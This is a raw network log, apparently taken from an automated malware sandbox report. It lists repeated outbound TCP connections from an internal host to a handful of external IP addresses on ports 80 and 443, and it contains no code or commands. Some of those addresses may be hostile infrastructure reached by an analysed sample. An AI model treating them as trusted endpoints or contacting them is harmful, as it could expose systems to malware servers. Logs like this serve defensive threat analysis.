                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49175 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49178 -> 178.237.33.50:80
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 142.250.184.206:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
